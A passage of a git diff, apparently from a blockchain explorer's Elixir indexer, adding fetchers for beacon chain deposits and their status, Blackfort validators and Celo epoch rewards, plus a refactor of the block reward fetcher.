state.last_processed_log_index + }) + + {:noreply, + %__MODULE__{ + state + | deposit_index: last_deposit.index, + last_processed_log_block_number: last_deposit.block_number, + last_processed_log_index: last_deposit.log_index + }} + end + + @abi ABI.parse_specification( + [ + %{ + "anonymous" => false, + "inputs" => [ + %{ + "indexed" => false, + "internalType" => "bytes", + "name" => "pubkey", + "type" => "bytes" + }, + %{ + "indexed" => false, + "internalType" => "bytes", + "name" => "withdrawal_credentials", + "type" => "bytes" + }, + %{ + "indexed" => false, + "internalType" => "bytes", + "name" => "amount", + "type" => "bytes" + }, + %{ + "indexed" => false, + "internalType" => "bytes", + "name" => "signature", + "type" => "bytes" + }, + %{ + "indexed" => false, + "internalType" => "bytes", + "name" => "index", + "type" => "bytes" + } + ], + "name" => "DepositEvent", + "type" => "event" + } + ], + include_events?: true + ) + + defp log_to_deposit(log) do + {_, + [ + {"pubkey", "bytes", false, pubkey}, + {"withdrawal_credentials", "bytes", false, withdrawal_credentials}, + {"amount", "bytes", false, <>}, + {"signature", "bytes", false, signature}, + {"index", "bytes", false, <>} + ]} = + Event.find_and_decode( + @abi, + log.first_topic && log.first_topic.bytes, + nil, + nil, + nil, + log.data.bytes + ) + + %{ + pubkey: %Data{bytes: pubkey}, + withdrawal_credentials: %Data{bytes: withdrawal_credentials}, + amount: amount |> Decimal.new() |> Wei.from(:gwei), + signature: %Data{bytes: signature}, + index: index, + from_address_hash: log.from_address_hash, + transaction_hash: log.transaction_hash, + block_hash: log.block_hash, + block_number: log.block_number, + block_timestamp: log.block_timestamp, + log_index: log.index, + inserted_at: DateTime.utc_now(), + updated_at: DateTime.utc_now() + } + end + + defp sequential?(last_processed_deposit_index, deposits) do + Enum.reduce_while(deposits, %{index: last_processed_deposit_index}, fn + %{index: i}, %{index: prev} when i == prev + 1 -> + {:cont, %{index: i}} + + %{index: i}, %{index: prev} -> + {:halt, {:error, prev, i}} + end) + end + + defp set_status(deposits, domain_deposit, genesis_fork_version) do + {deposits_to_query, deposits_acc, _valid_pubkeys_acc} = + Enum.reduce(deposits, {[], [], MapSet.new()}, fn deposit, {deposit_to_query, deposits_acc, valid_pubkeys_acc} -> + valid_signature? = verify(deposit, domain_deposit, genesis_fork_version) + + new_valid_pubkeys_acc = + if valid_signature? do + MapSet.put(valid_pubkeys_acc, deposit.pubkey) + else + valid_pubkeys_acc + end + + if MapSet.member?(valid_pubkeys_acc, deposit.pubkey) or valid_signature? do + {deposit_to_query, [Map.put(deposit, :status, :pending) | deposits_acc], new_valid_pubkeys_acc} + else + {[deposit | deposit_to_query], deposits_acc, valid_pubkeys_acc} + end + end) + + deposits_to_query_pubkeys = Enum.map(deposits_to_query, & &1.pubkey) + + query = + from(deposit in Deposit, + where: deposit.status != :invalid, + where: deposit.pubkey in ^deposits_to_query_pubkeys, + select: deposit.pubkey + ) + + valid_pubkeys = query |> Repo.all() |> MapSet.new() + + deposits_with_status = + deposits_to_query + |> Enum.map(fn deposit -> + if MapSet.member?(valid_pubkeys, deposit.pubkey) do + Map.put(deposit, :status, :pending) + else + Map.put(deposit, :status, :invalid) + end + end) + + deposits_with_status ++ deposits_acc + end + + @zero_genesis_validators_root :binary.copy(<<0x00>>, 32) + + defp verify(deposit, domain_deposit, genesis_fork_version) do + deposit_message_root = + hash_tree_root_deposit_message( + deposit.pubkey.bytes, + deposit.withdrawal_credentials.bytes, + deposit.amount |> Wei.to(:gwei) |> Decimal.to_integer() + ) + + domain = + compute_domain( + domain_deposit, + genesis_fork_version, + @zero_genesis_validators_root + ) + + signing_root = compute_signing_root(deposit_message_root, domain) + + ExEthBls.verify(deposit.pubkey.bytes, signing_root, deposit.signature.bytes) + end + + defp hash_tree_root_deposit_message(pubkey, withdrawal_credentials, amount) do + pubkey_packed = pack_basic_type(pubkey) + pubkey_root = merkleize_chunks(pubkey_packed) + + wc_packed = pack_basic_type(withdrawal_credentials) + wc_root = merkleize_chunks(wc_packed) + + amount_bytes = <> + amount_packed = pack_basic_type(amount_bytes) + amount_root = merkleize_chunks(amount_packed) + + field_roots = [pubkey_root, wc_root, amount_root] + merkleize_chunks(field_roots) + end + + defp pack_basic_type(value) do + chunk_size = 32 + padding_needed = rem(chunk_size - rem(byte_size(value), chunk_size), chunk_size) + padded = value <> :binary.copy(<<0>>, padding_needed) + + for <>, do: chunk + end + + defp merkleize_chunks([chunk]), do: chunk + + defp merkleize_chunks(chunks) when is_list(chunks) do + padded_chunks = pad_to_next_power_of_two(chunks) + merkleize_recursive(padded_chunks) + end + + defp merkleize_recursive([single_chunk]), do: single_chunk + + defp merkleize_recursive(chunks) do + next_level = + chunks + |> Enum.chunk_every(2) + |> Enum.map(fn + [left, right] -> :crypto.hash(:sha256, left <> right) + [single] -> single + end) + + merkleize_recursive(next_level) + end + + defp pad_to_next_power_of_two(list) do + length = length(list) + next_power = next_power_of_two(length) + padding_needed = next_power - length + zero_chunk = :binary.copy(<<0>>, 32) + list ++ List.duplicate(zero_chunk, padding_needed) + end + + defp next_power_of_two(n) when n <= 1, do: 1 + + defp next_power_of_two(n) do + 2 |> :math.pow(:math.ceil(:math.log2(n))) |> round() + end + + defp compute_domain(domain_type, fork_version, genesis_validators_root) do + fork_data_root = compute_container_hash_tree_root([fork_version, genesis_validators_root]) + domain_type <> binary_part(fork_data_root, 0, 28) + end + + defp compute_signing_root(deposit_message_root, domain) do + compute_container_hash_tree_root([deposit_message_root, domain]) + end + + defp compute_container_hash_tree_root(field_values) do + field_roots = + field_values + |> Enum.map(fn value -> + value + |> pack_basic_type() + |> merkleize_chunks() + end) + + merkleize_chunks(field_roots) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/beacon/deposit/status.ex b/apps/indexer/lib/indexer/fetcher/beacon/deposit/status.ex new file mode 100644 index 000000000000..abac57bca015 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/beacon/deposit/status.ex @@ -0,0 +1,106 @@ +defmodule Indexer.Fetcher.Beacon.Deposit.Status do + @moduledoc """ + Fetches the status of beacon deposits. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + + alias Explorer.Chain.Beacon.Deposit + alias Explorer.Chain.{Data, Wei} + alias Explorer.{QueryHelper, Repo} + alias Indexer.Fetcher.Beacon.{Blob, Client} + + def start_link(arguments, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, arguments, gen_server_options) + end + + @impl GenServer + def init(_state) do + Logger.metadata(fetcher: :beacon_deposit_status) + + Process.send(self(), :fetch_queued_deposits, []) + + {:ok, nil} + end + + @impl GenServer + def handle_info(:fetch_queued_deposits, _state) do + case Client.get_pending_deposits("head") do + {:ok, %{"data" => pending_deposits}} -> mark_completed_deposits(pending_deposits) + {:error, reason} -> Logger.error("Failed to fetch pending deposits: #{inspect(reason)}") + end + + config = Application.get_env(:indexer, __MODULE__) + epoch_duration = config[:epoch_duration] + reference_timestamp = config[:reference_timestamp] + + current_time = System.os_time(:second) + epochs_elapsed = div(current_time - reference_timestamp, epoch_duration) + next_epoch_timestamp = (epochs_elapsed + 1) * epoch_duration + reference_timestamp + + timer = + Process.send_after( + self(), + :fetch_queued_deposits, + :timer.seconds(next_epoch_timestamp - current_time + 1) + ) + + {:noreply, timer} + end + + defp mark_completed_deposits(pending_deposits) do + ids = + pending_deposits + |> Enum.map(fn deposit -> + {:ok, pubkey} = Data.cast(deposit["pubkey"]) + {:ok, withdrawal_credentials} = Data.cast(deposit["withdrawal_credentials"]) + {amount, ""} = Integer.parse(deposit["amount"]) + {:ok, signature} = Data.cast(deposit["signature"]) + {slot, ""} = Integer.parse(deposit["slot"]) + + {pubkey.bytes, withdrawal_credentials.bytes, amount |> Decimal.new() |> Wei.from(:gwei) |> Wei.to(:wei), + signature.bytes, slot |> slot_to_timestamp() |> DateTime.from_unix!()} + end) + + tuple_not_in = + dynamic( + not (^QueryHelper.tuple_in([:pubkey, :withdrawal_credentials, :amount, :signature, :block_timestamp], ids)) + ) + + batch_size = 100 + + query = + from( + deposit in Deposit, + where: deposit.status == :pending, + where: ^tuple_not_in, + select: deposit.index, + order_by: [asc: deposit.index] + ) + + all_batch_ids = + query + |> Repo.all(timeout: :infinity) + + all_batch_ids + |> Enum.chunk_every(batch_size) + |> Enum.each(fn batch_ids -> + Deposit + |> where([deposit], deposit.index in ^batch_ids) + |> Repo.update_all(set: [status: "completed", updated_at: DateTime.utc_now()]) + end) + end + + defp slot_to_timestamp(slot) do + config = Application.get_env(:indexer, Blob) + slot_duration = config[:slot_duration] + reference_slot = config[:reference_slot] + reference_timestamp = config[:reference_timestamp] + (slot - reference_slot) * slot_duration + reference_timestamp + end +end diff --git a/apps/indexer/lib/indexer/fetcher/blackfort/validator.ex b/apps/indexer/lib/indexer/fetcher/blackfort/validator.ex new file mode 100644 index 000000000000..bd7715d52e4b --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/blackfort/validator.ex @@ -0,0 +1,54 @@ +defmodule Indexer.Fetcher.Blackfort.Validator do + @moduledoc """ + GenServer responsible for updating the list of blackfort validators in the database. + """ + use GenServer + + alias Explorer.Chain.Blackfort.Validator + + def start_link(_) do + GenServer.start_link(__MODULE__, [], name: __MODULE__) + end + + @impl true + def init(state) do + GenServer.cast(__MODULE__, :update_validators_list) + + {:ok, state} + end + + @impl true + def handle_cast(:update_validators_list, state) do + case Validator.fetch_validators_list() do + {:ok, validators} -> + validators_from_db = Validator.get_all_validators() + + validators_map = + Enum.reduce(validators, %{}, fn %{address_hash: address_hash}, map -> + Map.put(map, address_hash.bytes, true) + end) + + address_hashes_to_drop_from_db = + Enum.flat_map(validators_from_db, fn validator -> + (is_nil(validators_map[validator.address_hash.bytes]) && + [validator.address_hash]) || [] + end) + + Validator.delete_validators_by_address_hashes(address_hashes_to_drop_from_db) + + validators + |> Enum.map(&Validator.append_timestamps/1) + |> Validator.insert_validators() + + _ -> + nil + end + + {:noreply, state} + end + + @spec trigger_update_validators_list() :: :ok + def trigger_update_validators_list do + GenServer.cast(__MODULE__, :update_validators_list) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/block_reward.ex b/apps/indexer/lib/indexer/fetcher/block_reward.ex index d44a7e1f71ae..af5bee84fa2d 100644 --- a/apps/indexer/lib/indexer/fetcher/block_reward.ex +++ b/apps/indexer/lib/indexer/fetcher/block_reward.ex @@ -6,7 +6,7 @@ defmodule Indexer.Fetcher.BlockReward do retrieved from the database and compared against that returned from `EthereumJSONRPC.` """ - use Indexer.Fetcher + use Indexer.Fetcher, restart: :permanent use Spandex.Decorators require Logger @@ -20,28 +20,23 @@ defmodule Indexer.Fetcher.BlockReward do alias Explorer.Chain.Cache.Accounts alias Indexer.{BufferedTask, Tracer} alias Indexer.Fetcher.BlockReward.Supervisor, as: BlockRewardSupervisor - alias Indexer.Fetcher.CoinBalance - alias Indexer.Transform.{AddressCoinBalances, AddressCoinBalancesDaily, Addresses} + alias Indexer.Fetcher.CoinBalance.Catchup, as: CoinBalanceCatchup + alias Indexer.Transform.{AddressCoinBalances, Addresses} @behaviour BufferedTask - @defaults [ - flush_interval: :timer.seconds(3), - max_batch_size: 10, - max_concurrency: 4, - task_supervisor: Indexer.Fetcher.BlockReward.TaskSupervisor, - metadata: [fetcher: :block_reward] - ] + @default_max_batch_size 10 + @default_max_concurrency 4 @doc """ Asynchronously fetches block rewards for each `t:Explorer.Chain.Explorer.block_number/0`` in `block_numbers`. """ - @spec async_fetch([Block.block_number()]) :: :ok - def async_fetch(block_numbers) when is_list(block_numbers) do + @spec async_fetch([Block.block_number()], boolean()) :: :ok + def async_fetch(block_numbers, realtime?) when is_list(block_numbers) do if BlockRewardSupervisor.disabled?() do :ok else - BufferedTask.buffer(__MODULE__, block_numbers) + BufferedTask.buffer(__MODULE__, block_numbers, realtime?) end end @@ -57,7 +52,7 @@ defmodule Indexer.Fetcher.BlockReward do end merged_init_options = - @defaults + defaults() |> Keyword.merge(mergeable_init_options) |> Keyword.put(:state, state) @@ -67,9 +62,12 @@ defmodule Indexer.Fetcher.BlockReward do @impl BufferedTask def init(initial, reducer, _) do {:ok, final} = - Chain.stream_blocks_without_rewards(initial, fn %{number: number}, acc -> - reducer.(number, acc) - end) + Chain.stream_blocks_without_rewards( + initial, + fn %{number: number}, acc -> + reducer.(number, acc) + end + ) final end @@ -102,7 +100,7 @@ defmodule Indexer.Fetcher.BlockReward do {:error, reason} -> Logger.error( fn -> - ["failed to fetch: ", inspect(reason)] + ["failed to fetch: ", inspect(reason), " hash: ", inspect(hash_string_by_number)] end, error_count: consensus_number_count ) @@ -135,7 +133,7 @@ defmodule Indexer.Fetcher.BlockReward do {:ok, %{address_coin_balances: address_coin_balances, addresses: addresses}} -> Accounts.drop(addresses) - CoinBalance.async_fetch_balances(address_coin_balances) + CoinBalanceCatchup.async_fetch_balances(address_coin_balances) retry_errors(errors) @@ -194,7 +192,7 @@ defmodule Indexer.Fetcher.BlockReward do |> Chain.timestamp_by_block_hash() Enum.map(beneficiaries_params, fn %{block_hash: block_hash_str} = beneficiary -> - {:ok, block_hash} = Chain.string_to_block_hash(block_hash_str) + {:ok, block_hash} = Chain.string_to_full_hash(block_hash_str) case timestamp_by_block_hash do %{^block_hash => block_timestamp} -> @@ -215,41 +213,30 @@ defmodule Indexer.Fetcher.BlockReward do Enum.map(beneficiaries_params, fn %{block_hash: block_hash, address_type: address_type} = beneficiary -> if address_type == :validator do - case gas_payment_by_block_hash do - %{^block_hash => gas_payment} -> - {:ok, minted} = Wei.cast(beneficiary.reward) - %{beneficiary | reward: Wei.sum(minted, gas_payment)} - - _ -> - beneficiary - end + beneficiary_with_reward(gas_payment_by_block_hash, block_hash, beneficiary) else beneficiary end end) end + defp beneficiary_with_reward(gas_payment_by_block_hash, block_hash, beneficiary) do + case gas_payment_by_block_hash do + %{^block_hash => gas_payment} -> + {:ok, minted} = Wei.cast(beneficiary.reward) + %{beneficiary | reward: Wei.sum(minted, gas_payment)} + + _ -> + beneficiary + end + end + def reduce_uncle_rewards(beneficiaries_params) do beneficiaries_params |> Enum.reduce([], fn %{address_type: address_type} = beneficiary, acc -> current = if address_type == :uncle do - reward = - Enum.reduce(beneficiaries_params, %Wei{value: 0}, fn %{ - address_type: address_type, - address_hash: address_hash, - block_hash: block_hash - } = current_beneficiary, - reward_acc -> - if address_type == beneficiary.address_type && address_hash == beneficiary.address_hash && - block_hash == beneficiary.block_hash do - {:ok, minted} = Wei.cast(current_beneficiary.reward) - - Wei.sum(reward_acc, minted) - else - reward_acc - end - end) + reward = get_reward(beneficiaries_params, beneficiary) %{beneficiary | reward: reward} else @@ -261,32 +248,35 @@ defmodule Indexer.Fetcher.BlockReward do |> Enum.uniq() end - defp import_block_reward_params(block_rewards_params) when is_list(block_rewards_params) do - addresses_params = Addresses.extract_addresses(%{block_reward_contract_beneficiaries: block_rewards_params}) - address_coin_balances_params_set = AddressCoinBalances.params_set(%{beneficiary_params: block_rewards_params}) + defp get_reward(beneficiaries_params, beneficiary) do + Enum.reduce(beneficiaries_params, %Wei{value: 0}, fn %{ + address_type: address_type, + address_hash: address_hash, + block_hash: block_hash + } = current_beneficiary, + reward_acc -> + reduce_uncle_rewards_inner(reward_acc, beneficiary, address_type, address_hash, block_hash, current_beneficiary) + end) + end - address_coin_balances_params_with_block_timestamp = - block_rewards_params - |> Enum.map(fn block_rewards_param -> - %{ - address_hash: block_rewards_param.address_hash, - block_number: block_rewards_param.block_number, - block_timestamp: block_rewards_param.block_timestamp - } - end) - |> Enum.into(MapSet.new()) + defp reduce_uncle_rewards_inner(reward_acc, beneficiary, address_type, address_hash, block_hash, current_beneficiary) do + if address_type == beneficiary.address_type && address_hash == beneficiary.address_hash && + block_hash == beneficiary.block_hash do + {:ok, minted} = Wei.cast(current_beneficiary.reward) - address_coin_balances_params_with_block_timestamp_set = %{ - address_coin_balances_params_with_block_timestamp: address_coin_balances_params_with_block_timestamp - } + Wei.sum(reward_acc, minted) + else + reward_acc + end + end - address_coin_balances_daily_params_set = - AddressCoinBalancesDaily.params_set(address_coin_balances_params_with_block_timestamp_set) + defp import_block_reward_params(block_rewards_params) when is_list(block_rewards_params) do + addresses_params = Addresses.extract_addresses(%{block_reward_contract_beneficiaries: block_rewards_params}) + address_coin_balances_params_set = AddressCoinBalances.params_set(%{beneficiary_params: block_rewards_params}) Chain.import(%{ addresses: %{params: addresses_params}, address_coin_balances: %{params: address_coin_balances_params_set}, - address_coin_balances_daily: %{params: address_coin_balances_daily_params_set}, block_rewards: %{params: block_rewards_params} }) end @@ -335,6 +325,16 @@ defmodule Indexer.Fetcher.BlockReward do defp fetched_beneficiary_error_to_iodata(%{code: code, message: message, data: %{block_quantity: block_quantity}}) when is_integer(code) and is_binary(message) and is_binary(block_quantity) do - ["@", quantity_to_integer(block_quantity), ": (", to_string(code), ") ", message, ?\n] + ["@", block_quantity |> quantity_to_integer() |> to_string(), ": (", to_string(code), ") ", message, ?\n] + end + + defp defaults do + [ + flush_interval: :timer.seconds(3), + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + task_supervisor: Indexer.Fetcher.BlockReward.TaskSupervisor, + metadata: [fetcher: :block_reward] + ] end end diff --git a/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations.ex b/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations.ex new file mode 100644 index 000000000000..21adea918d25 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations.ex @@ -0,0 +1,277 @@ +defmodule Indexer.Fetcher.Celo.EpochBlockOperations do + @moduledoc """ + Tracks epoch blocks awaiting processing by the epoch fetcher. + """ + + import Ecto.Query, only: [from: 2] + + alias Ecto.Multi + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{Block, Import} + alias Explorer.Chain.Celo.{Epoch, Helper} + alias Explorer.Chain.Celo.Reader.EpochManager + alias Indexer.{BufferedTask, Tracer} + alias Indexer.Transform.Addresses + + alias Explorer.Chain.Import.Runner.Celo.{ + ElectionRewards, + EpochRewards, + Epochs + } + + alias Indexer.Fetcher.Celo.EpochBlockOperations.{ + DelegatedPaymentsPriorL2Migration, + Distributions, + ValidatorAndGroupPaymentsPostL2Migration, + ValidatorAndGroupPaymentsPriorL2Migration, + VoterPayments + } + + require Logger + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + @behaviour BufferedTask + + @default_max_batch_size 1 + @default_max_concurrency 1 + + @doc false + def child_spec([init_options, gen_server_options]) do + {state, mergeable_init_options} = Keyword.pop(init_options, :json_rpc_named_arguments) + + unless state do + raise ArgumentError, + ":json_rpc_named_arguments must be provided to `#{__MODULE__}.child_spec` " <> + "to allow for json_rpc calls when running." + end + + merged_init_opts = + defaults() + |> Keyword.merge(mergeable_init_options) + |> Keyword.put(:state, state) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, id: __MODULE__) + end + + def defaults do + [ + poll: true, + flush_interval: :timer.seconds(3), + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + task_supervisor: __MODULE__.TaskSupervisor, + metadata: [fetcher: :celo_epoch_rewards] + ] + end + + @spec async_fetch( + [%{block_number: Block.block_number(), block_hash: Hash.Full}], + boolean(), + integer() + ) :: :ok + def async_fetch(entries, realtime?, timeout \\ 5000) when is_list(entries) do + if __MODULE__.Supervisor.disabled?() do + :ok + else + filtered_entries = + entries + |> Enum.filter(&(&1.start_processing_block_hash && &1.end_processing_block_hash)) + + BufferedTask.buffer(__MODULE__, filtered_entries, realtime?, timeout) + end + end + + @impl BufferedTask + def init(initial, reducer, _json_rpc_named_arguments) do + {:ok, final} = + Epoch.stream_unfetched_epochs( + initial, + reducer, + true + ) + + final + end + + @impl BufferedTask + @decorate trace( + name: "fetch", + resource: "Indexer.Fetcher.Celo.EpochBlockOperations.run/2", + service: :indexer, + tracer: Tracer + ) + def run(epochs, json_rpc_named_arguments) do + epochs + |> Repo.preload([ + :start_processing_block, + :end_processing_block + ]) + |> Enum.each(fn epoch -> + epoch + |> fetch(json_rpc_named_arguments) + end) + + :ok + end + + defp fetch(epoch, json_rpc_named_arguments) do + election_rewards_params = fetch_election_rewards_params(epoch, json_rpc_named_arguments) + epoch_params = fetch_epoch_params(epoch) + {:ok, distributions_params} = Distributions.fetch(epoch) + + epochs_params = + (epoch.number + 1) + |> Epoch.epoch_by_number_query() + |> Repo.exists?() + |> if do + [epoch_params] + else + next_epoch_params = %{ + number: epoch_params.number + 1, + start_block_number: epoch_params.end_block_number + 1 + } + + [epoch_params, next_epoch_params] + end + + addresses_params = + Addresses.extract_addresses(%{ + celo_election_rewards: election_rewards_params + }) + + {:ok, _imported_addresses} = Chain.import(%{addresses: %{params: addresses_params}}) + + {:ok, import_multi} = + Import.all_single_multi( + [ + Epochs, + ElectionRewards, + EpochRewards + ], + %{ + celo_epoch_rewards: %{params: [distributions_params]}, + celo_election_rewards: %{params: election_rewards_params}, + celo_epochs: %{params: epochs_params} + } + ) + + Multi.new() + |> Multi.run( + :acquire_processing_blocks, + fn repo, _changes -> + acquire_processing_blocks(repo, epoch) + end + ) + |> Multi.append(import_multi) + |> Repo.transaction() + |> case do + {:ok, results} -> + Logger.info("Successfully fetched and imported epoch rewards for epoch number: #{epoch.number}") + {:ok, results} + + {:error, :acquire_processing_blocks, :processing_blocks_not_consensus, _changes} -> + Logger.error( + "Skipped importing epoch rewards for epoch #{epoch.number} since processing blocks are not consensus" + ) + + {:error, :processing_blocks_not_consensus} + + {:error, operation, reason, _changes} -> + Logger.error("Failed importing epoch rewards for epoch #{epoch.number} on #{operation}: #{inspect(reason)}") + {:error, reason} + end + end + + defp fetch_election_rewards_params(epoch, json_rpc_named_arguments) do + {:ok, voter_payments} = + VoterPayments.fetch( + epoch, + json_rpc_named_arguments + ) + + {:ok, validator_and_group_payments} = + if Helper.pre_migration_block_number?(epoch.start_processing_block.number) do + ValidatorAndGroupPaymentsPriorL2Migration.fetch(epoch) + else + ValidatorAndGroupPaymentsPostL2Migration.fetch(epoch) + end + + {:ok, delegated_payments_prior_l2_migration} = + if Helper.pre_migration_block_number?(epoch.start_processing_block.number) do + validator_and_group_payments + |> Enum.filter(&(&1.type == :validator)) + |> Enum.map(& &1.account_address_hash) + |> DelegatedPaymentsPriorL2Migration.fetch( + epoch, + json_rpc_named_arguments + ) + else + {:ok, []} + end + + [ + voter_payments, + validator_and_group_payments, + delegated_payments_prior_l2_migration + ] + |> Enum.concat() + |> Enum.filter(&(&1.amount > 0)) + end + + defp acquire_processing_blocks(repo, epoch) do + # First verify start block consensus and lock it to prevent changes during our operation + + query = + from(b in Block.consensus_blocks_query(), + where: + b.hash in ^[ + epoch.start_processing_block_hash, + epoch.end_processing_block_hash + ], + order_by: [asc: b.hash], + lock: "FOR SHARE" + ) + + premigration? = Helper.pre_migration_block_number?(epoch.start_processing_block.number) + + query + |> repo.all() + |> case do + [_] = blocks when premigration? -> + {:ok, blocks} + + [_, _] = blocks -> + {:ok, blocks} + + [] -> + {:error, :processing_blocks_not_consensus} + end + end + + defp fetch_epoch_params(epoch) do + params = %{number: epoch.number, fetched?: true} + + if Helper.pre_migration_block_number?(epoch.start_processing_block.number) do + { + start_block_number, + end_block_number + } = Helper.epoch_number_to_block_range(epoch.number) + + params + |> Map.put(:start_block_number, start_block_number) + |> Map.put(:end_block_number, end_block_number) + else + {:ok, start_block_number} = + EpochManager.fetch_first_block_at_epoch(epoch.number) + + {:ok, end_block_number} = + EpochManager.fetch_last_block_at_epoch(epoch.number) + + params + |> Map.put(:start_block_number, start_block_number) + |> Map.put(:end_block_number, end_block_number) + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/core_contract_version.ex b/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/core_contract_version.ex new file mode 100644 index 000000000000..9b3a5d237048 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/core_contract_version.ex @@ -0,0 +1,92 @@ +defmodule Indexer.Fetcher.Celo.EpochBlockOperations.CoreContractVersion do + @moduledoc """ + Fetches the version of the celo core contract. + """ + import Explorer.Helper, only: [abi_to_method_id: 1] + import Indexer.Helper, only: [read_contracts_with_retries: 5] + + @repeated_request_max_retries 3 + + @get_version_number_abi [ + %{ + "name" => "getVersionNumber", + "type" => "function", + "payable" => false, + "constant" => true, + "stateMutability" => "pure", + "inputs" => [], + "outputs" => [ + %{"type" => "uint256"}, + %{"type" => "uint256"}, + %{"type" => "uint256"}, + %{"type" => "uint256"} + ] + } + ] + + @get_version_number_method_id @get_version_number_abi |> abi_to_method_id() + + @doc """ + Fetches the version number of a Celo core contract at a given block. + + ## Parameters + - `contract_address` (`EthereumJSONRPC.address()`): The address of the + contract. + - `block_number` (`EthereumJSONRPC.block_number()`): The block number at + which to fetch the version. + - `json_rpc_named_arguments` (`EthereumJSONRPC.json_rpc_named_arguments()`): + The JSON RPC named arguments. + + ## Returns + - `{:ok, {integer(), integer(), integer(), integer()}}`: A tuple containing + the version number components if successful. + - `{:ok, {1, 1, 0, 0}}`: A default version number if the `getVersionNumber` + function does not exist for the core contract at the requested block. + - `{:error, [{any(), any()}]}`: An error tuple with the list of errors. + """ + @spec fetch( + EthereumJSONRPC.address(), + EthereumJSONRPC.block_number(), + EthereumJSONRPC.json_rpc_named_arguments() + ) :: + { + :error, + [{any(), any()}] + } + | { + :ok, + {integer(), integer(), integer(), integer()} + } + def fetch(contract_address, block_number, json_rpc_named_arguments) do + request = %{ + contract_address: contract_address, + method_id: @get_version_number_method_id, + args: [], + block_number: block_number + } + + [request] + |> read_contracts_with_retries( + @get_version_number_abi, + json_rpc_named_arguments, + @repeated_request_max_retries, + false + ) + |> elem(0) + |> case do + [ok: [storage, major, minor, patch]] -> + {:ok, {storage, major, minor, patch}} + + # Celo Core Contracts deployed to a live network without the + # `getVersionNumber()` function, such as the original set of core + # contracts, are to be considered version 1.1.0.0. + # + # https://docs.celo.org/community/release-process/smart-contracts#core-contracts + [error: "(-32000) execution reverted"] -> + {:ok, {1, 1, 0, 0}} + + errors -> + {:error, errors} + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/delegated_payments_prior_l2_migration.ex b/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/delegated_payments_prior_l2_migration.ex new file mode 100644 index 000000000000..cb29fc1f9aa3 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/delegated_payments_prior_l2_migration.ex @@ -0,0 +1,178 @@ +defmodule Indexer.Fetcher.Celo.EpochBlockOperations.DelegatedPaymentsPriorL2Migration do + @moduledoc """ + Fetches delegated validator payments for the epoch block. + """ + import Ecto.Query, only: [from: 2] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + + import Explorer.Helper, only: [abi_to_method_id: 1] + + import Indexer.Helper, + only: [ + read_contracts_with_retries_by_chunks: 3, + read_contracts_with_retries: 4 + ] + + alias Explorer.Chain.{Block, Hash, TokenTransfer} + alias Explorer.Chain.Cache.CeloCoreContracts + alias Explorer.Chain.Celo.Epoch + alias Explorer.Chain.Wei + alias Explorer.Repo + alias Indexer.Fetcher.Celo.EpochBlockOperations.CoreContractVersion + + require Logger + + @mint_address_hash_string burn_address_hash_string() + + @repeated_request_max_retries 3 + @requests_chunk_size 100 + + # The method `getPaymentDelegation` was introduced in the following. Thus, we + # set version hardcoded in `getVersionNumber` method. + # + # https://github.com/celo-org/celo-monorepo/blob/d7c8936dc529f46d56799365f8b3383a23cc220b/packages/protocol/contracts/common/Accounts.sol#L128-L130 + @get_payment_delegation_available_since_version {1, 1, 3, 0} + @get_payment_delegation_abi [ + %{ + "name" => "getPaymentDelegation", + "type" => "function", + "payable" => false, + "constant" => true, + "stateMutability" => "view", + "inputs" => [ + %{"name" => "account", "type" => "address"} + ], + "outputs" => [ + %{"type" => "address"}, + %{"type" => "uint256"} + ] + } + ] + @get_payment_delegation_method_id @get_payment_delegation_abi |> abi_to_method_id() + + @spec fetch( + [EthereumJSONRPC.address()], + Epoch.t(), + EthereumJSONRPC.json_rpc_named_arguments() + ) :: + {:ok, list()} + | {:error, any()} + def fetch( + validator_addresses, + %Epoch{start_processing_block: %Block{number: block_number, hash: block_hash}} = epoch, + json_rpc_named_arguments + ) do + with {:ok, accounts_contract_address} <- + CeloCoreContracts.get_address(:accounts, block_number), + {:ok, accounts_contract_version} <- + CoreContractVersion.fetch( + accounts_contract_address, + block_number, + json_rpc_named_arguments + ), + true <- accounts_contract_version >= @get_payment_delegation_available_since_version, + {:ok, usd_token_contract_address} <- + CeloCoreContracts.get_address(:usd_token, block_number), + {responses, []} <- + read_payment_delegations( + validator_addresses, + accounts_contract_address, + block_number, + json_rpc_named_arguments + ) do + query = + from( + tt in TokenTransfer.only_consensus_transfers_query(), + where: + tt.block_hash == ^block_hash and + tt.token_contract_address_hash == ^usd_token_contract_address and + tt.from_address_hash == ^@mint_address_hash_string and + is_nil(tt.transaction_hash), + select: {tt.to_address_hash, tt.amount} + ) + + beneficiary_address_to_amount = + query + |> Repo.all() + |> Map.new(fn {address, amount} -> + {Hash.to_string(address), amount} + end) + + rewards = + validator_addresses + |> Enum.zip(responses) + |> Enum.filter(&match?({_, {:ok, [_, fraction]}} when fraction > 0, &1)) + |> Enum.map(fn + {validator_address, {:ok, [beneficiary_address, _]}} -> + amount = beneficiary_address_to_amount |> Map.get(beneficiary_address, 0) + + %{ + epoch_number: epoch.number, + account_address_hash: beneficiary_address, + amount: %Wei{value: amount}, + 